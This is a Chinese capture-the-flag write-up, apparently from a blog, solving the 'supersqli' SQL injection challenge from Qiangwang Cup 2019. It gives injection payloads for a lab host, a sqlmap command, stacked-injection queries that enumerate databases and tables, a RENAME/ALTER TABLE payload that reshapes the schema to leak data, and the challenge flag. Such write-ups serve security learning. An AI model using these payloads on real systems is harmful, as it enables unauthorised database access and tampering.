zoukankan      html  css  js  c++  java
  • 攻防世界/强网杯 2019-supersqli

    靶场地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5417&page=1

    参考链接

    https://zhuanlan.zhihu.com/p/78989602

    https://www.jianshu.com/p/e896bd3f5097

    本以为简单的目录遍历就可以得到falg实际上是想多了,不过也确认这里是存在注入

    http://220.249.52.133:38618/?inject=1' or '1'='1#

    在试一下sqlmap

    python2 sqlmap.py -u "http://220.249.52.133:38618/?inject=1" -v 3 --risk 3 -D supersqli --tables -test-skip=where

    失败

    order by一下

    http://220.249.52.133:38618/?inject=1'order by 2--+

    得出有两个参数

    union联合查询一下

    失败 (同时也发现了为什么sqlmap跑不出来了)select|update|drop|insert|where 等等被禁用了

    借用上两篇教程了解到堆叠注入

    暴库

    http://220.249.52.133:38618/?inject=1';show databases;#

    爆表

    http://220.249.52.133:38618/?inject=1';show tables;#

    查看字段

    http://220.249.52.133:38618/?inject=1';show columns from `1919810931114514`;#

    由于select有限制但是没有过滤 alert 和 rename,那么我们可以把表改个名字,再给列改个名字。

    先把 words 改名为 words1,再把这个数字表改名为 words,然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)。

    这样就可以让程序直接查询出 flag 了。

    构造 payload 如下,然后访问,看到这个看来就执行到最后一个语句了。(改表名那里直接从 pma 拷了一个语句过来改- -)

    /?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
    
    /?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#collate

    查看一下

    /?inject=1' or '1'='1

    flag{c168d583ed0d4d7196967b28cbd0b5e9}

    新手上路,多多指教

  • 相关阅读:
    table 表格的增删和修改
    js实现单双行文本溢出添加省略号
    C++
    PAT乙级 1029 旧键盘 (C++ python3)
    图论
    图论
    图论
    springcloud(二):注册中心Eureka
    apollo配置中心初探
    Apollo 配置详细步骤(Windows环境)
  • 原文地址:https://www.cnblogs.com/injection/p/13156275.html
Copyright © 2011-2022 走看看